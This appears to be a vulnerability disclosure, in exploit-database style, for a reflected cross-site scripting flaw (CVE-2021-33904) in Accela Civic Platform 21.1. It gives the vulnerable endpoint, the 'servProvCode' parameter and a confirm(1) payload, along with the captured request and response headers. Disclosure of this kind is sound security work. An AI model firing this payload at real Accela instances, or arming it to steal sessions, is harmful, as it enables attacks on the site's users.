Accela Civic Platorm 21.1 Cross Site Scripting

`# Exploit Title: Accela Civic Platform 21.1 - 'servProvCode' Cross-Site-Scripting (XSS)  
# Exploit Author: Abdulazeez Alaseeri  
# Software Link: https://www.accela.com/civic-platform/  
# Version: <= 21.1  
# Tested on: JBoss server/windows  
# Type: Web App  
# Date: 06/07/2021  
# CVE: CVE-2021-33904  
  
  
================================================================  
Accela Civic Platform Cross-Site-Scripting <= 21.1  
================================================================  
  
  
================================================================  
Request Heeaders start  
================================================================  
  
GET /security/hostSignon.do?hostSignOn=true&servProvCode=k3woq%22%5econfirm(1)%5e%22a2pbrnzx5a9 HTTP/1.1  
  
Host: Hidden for security reasons  
  
Cookie: JSESSIONID=FBjC0Zfg-H87ecWmTMDEcNo8HID1gB6rwBt5QC4Y.civpnode; LASTEST_REQUEST_TIME=1623004368673; g_current_language_ext=en_US; hostSignOn=true; BIGipServerAccela_Automation_av.web_pool_PROD=1360578058.47873.0000; LATEST_SESSION_ID=lVkV3izKpk9ig1g_nqSktJ3YKjSbfwwdPj0YBFDO; LATEST_WEB_SERVER=1.1.1.1; LATEST_LB=1360578058.47873.0000  
  
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0  
  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8  
  
Accept-Language: en-US,en;q=0.5  
  
Accept-Encoding: gzip, deflate  
  
Upgrade-Insecure-Requests: 1  
  
Te: trailers  
  
Connection: close  
  
================================================================  
Request Heeaders end  
================================================================  
  
  
  
================================================================  
Response Heeaders start  
================================================================  
HTTP/1.1 200 OK  
  
Expires: Wed, 31 Dec 1969 23:59:59 GMT  
  
Cache-Control: no-cache  
  
X-Powered-By: JSP/2.3  
  
Set-Cookie: LASTEST_REQUEST_TIME=1623004478373; path=/; domain=.Hidden for security reasons; secure  
  
Set-Cookie: g_current_language_ext=en_US; path=/; domain=.Hidden for security reasons; secure  
  
Set-Cookie: hostSignOn=true; path=/; domain=.Hidden for security reasons; secure  
  
X-XSS-Protection: 0  
  
Pragma: No-cache  
  
Date: Sun, 06 Jun 2021 18:34:38 GMT  
  
Connection: close  
  
Content-Type: text/html;charset=UTF-8  
  
Content-Length: 13222  
================================================================  
Response Heeaders end  
================================================================  
  
  
You can notice that the parameter "servProvCode" is vulnerable to XSS.  
Payload: k3woq%22%5econfirm(1)%5e%22a2pbrnzx5a9  
  
`